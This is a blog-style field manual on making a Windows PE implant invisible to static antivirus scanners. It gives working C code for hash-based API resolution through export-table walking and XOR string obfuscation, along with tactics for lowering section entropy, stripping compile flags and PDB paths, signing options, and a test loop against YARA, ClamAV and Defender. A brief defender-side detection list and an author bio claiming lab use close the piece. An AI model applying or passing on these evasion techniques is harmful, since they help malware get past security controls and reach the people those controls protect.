Advanced static AV bypass: from signature to silence
A field manual for making a PE invisible to static scanners: entropy, section names, API hashing, string obfuscation, and the compile flags that matter.
- #AV Evasion
- #Static Analysis
- #PE
- #Obfuscation
- #Implants
§What static scanners actually look at
Static AV (Defender, YARA, ClamAV) inspects the file on disk before execution. The signals they use, in rough priority order:
- 01**Known bad hashes** (SHA256 of the whole file or of sections).
- 02**YARA rules** matching byte sequences, strings, or structural features.
- 03**Entropy** of sections (high entropy → packed/encrypted → suspicious).
- 04**Section names** (`.text`, `.data` are normal; `.UPX0`, random names are not).
- 05**Import table** (a PE importing `VirtualAlloc`, `WriteProcessMemory`, `CreateRemoteThread` is suspicious).
- 06**Strings** (URLs, IPs, mutex names, PDB paths, error messages).
- 07**PE header anomalies** (mismatched sizes, unusual section alignment, missing exports).
- 08**Certificate/signature** (unsigned binaries from unknown publishers).
Beating static scanning means addressing all of these, not just one.
§1. API hashing (remove suspicious imports)
Instead of importing `VirtualAlloc` (which appears in the IAT and triggers YARA), resolve it at runtime via `GetProcAddress` on a hashed name. Better: walk the PEB to find ntdll/kernel32 and resolve by hash, so the IAT is empty or contains only benign imports.
#include <windows.h>
static DWORD hash_str(const char *s) {
DWORD h = 5381;
while (*s) h = ((h << 5) + h) + (unsigned char)*s++;
return h;
}
// resolve by hash from a module's export table
void *resolve_by_hash(HMODULE mod, DWORD target_hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)mod + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
(BYTE*)mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD *names = (DWORD*)((BYTE*)mod + exp->AddressOfNames);
WORD *ords = (WORD*)((BYTE*)mod + exp->AddressOfNameOrdinals);
DWORD *funcs = (DWORD*)((BYTE*)mod + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *name = (const char*)((BYTE*)mod + names[i]);
if (hash_str(name) == target_hash) {
return (void*)((BYTE*)mod + funcs[ords[i]]);
}
}
return NULL;
}Now your IAT contains only `GetModuleHandleA` and `LoadLibraryA` (or nothing if you walk the PEB), and the suspicious API names never appear as strings in the binary.
§2. String obfuscation
Every string in your binary is a YARA target. Encrypt all strings at compile time with a simple XOR and decrypt at runtime into a stack buffer.
#define OBF(s) (decrypt_string(s, sizeof(s)))
static char *decrypt_string(const char *enc, size_t len) {
static char buf[256];
for (size_t i = 0; i < len - 1; i++) buf[i] = enc[i] ^ 0x5A;
buf[len - 1] = 0;
return buf;
}
// usage: the string is stored encrypted in .rdata
const char enc_kernel32[] = { 0x37, 0x36, 0x39, 0x3B, 0x36, 0x33, 0x17, 0x16, 0x17, 0x00 }; // "kernel32" XOR 0x5ABetter: use a compile-time macro that XORs each character, so the source reads as plaintext but the binary stores ciphertext. A small Python script run as a pre-build step is the cleanest approach.
§3. Entropy reduction
Packed/encrypted sections have entropy ~7.9/8.0, which triggers "high entropy section" rules. Strategies:
- **Don't encrypt the whole binary.** Only encrypt the sensitive parts (config, C2 URL) and leave code as normal compiled code (entropy ~5.5-6.5).
- **Pad with low-entropy data** (repeated patterns) to dilute the section's overall entropy.
- **Use a weak cipher** (XOR with a repeating key) which produces lower entropy than AES.
- **Split encrypted data across multiple sections** so no single section crosses the threshold.
Check entropy with:
# Python
python -c "
import math, collections
data=open('implant.exe','rb').read()
for off in range(0,len(data),4096):
chunk=data[off:off+4096]
if len(chunk)<256: continue
c=collections.Counter(chunk)
ent=-sum((n/len(chunk))*math.log2(n/len(chunk)) for n in c.values())
print(hex(off), round(ent,2))
"Defender's threshold is roughly 7.0 for `.text` and 7.2 for data sections. Stay below 6.8 to be safe.
§4. Section names
Default section names (`.text`, `.data`, `.rdata`, `.reloc`) are expected. Random or unusual names (`.UPX0`, `.vmp0`, `CODE`) are red flags. If you use a custom linker script or post-process the PE, keep standard names.
§5. Compile flags that matter
# MSVC
cl /O2 /GS- /GR- /EHsc- /MT /W0 implant.c /link /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB /OPT:REF /OPT:ICF
# MinGW
x86_64-w64-mingw32-gcc -O2 -s -fno-stack-protector -fno-exceptions -fno-rtti \
-mwindows -static -Wl,--strip-all -Wl,--gc-sections implant.c -o implant.exeKey flags:
- `/GS-` / `-fno-stack-protector`: removes stack cookie checks (smaller, less entropy).
- `/GR-` / `-fno-rtti`: disables RTTI (removes type info strings).
- `/MT`: static CRT (no DLL imports for CRT functions).
- `-s` / `/Wl,--strip-all`: strip symbols and debug info.
- `-Wl,--gc-sections`: remove unused sections (smaller binary).
- Remove PDB path: `/PDBALTPATH:` or compile without `/Zi`.
§6. Remove PDB and debug info
PDB paths leak your username and project structure. Strip them:
# After build, strip with objcopy
x86_64-w64-mingw32-strip --strip-all implant.exe
# Check for leftover strings
strings implant.exe | grep -i "users\|projects\|\.pdb"§7. Certificate and signing
Unsigned binaries from unknown publishers get higher scrutiny. Options:
- **Buy a code signing cert** (expensive, but effective against SmartScreen).
- **Self-sign** (doesn't help with SmartScreen but removes "unknown publisher" on some checks).
- **Don't sign** and rely on other techniques (most common for research).
§8. Testing your binary
Before deploying, run it through:
# YARA
yara -r rules/ implant.exe
# ClamAV
clamscan implant.exe
# Defender (Windows)
# Copy to a Windows VM with Defender enabled, scan with:
MpCmdRun.exe -Scan -ScanType 3 -File implant.exe
# PE-sieve (memory, post-execution)
pe-sieve /pid <pid> /shellc
# Entropy check
python entropy_check.py implant.exe
# String check
strings implant.exe | head -50§The honest conclusion
Static evasion is a checklist, not a trick. Each item above addresses one signal. Miss one and a scanner catches you on that axis. The goal is not perfection — it is raising the cost of detection above the threshold where automated scanning flags you, so that only a human analyst (or a sandbox) catches you. And that is a different fight entirely.
§Detection (defender side)
- YARA rules on import-less PEs with high-entropy sections.
- Entropy thresholds per section in your EDR policy.
- PDB path leaks in binary strings.
- Unsigned binaries with no version info resource.
- Behavioral: a binary with no imports that calls `GetProcAddress` at runtime is suspicious by itself.
"
Written by
MJ — offensive security researcher
I break things in a lab so defenders can build better controls. Everything published here is lab-derived, responsibly disclosed, and documented with the detection path in mind.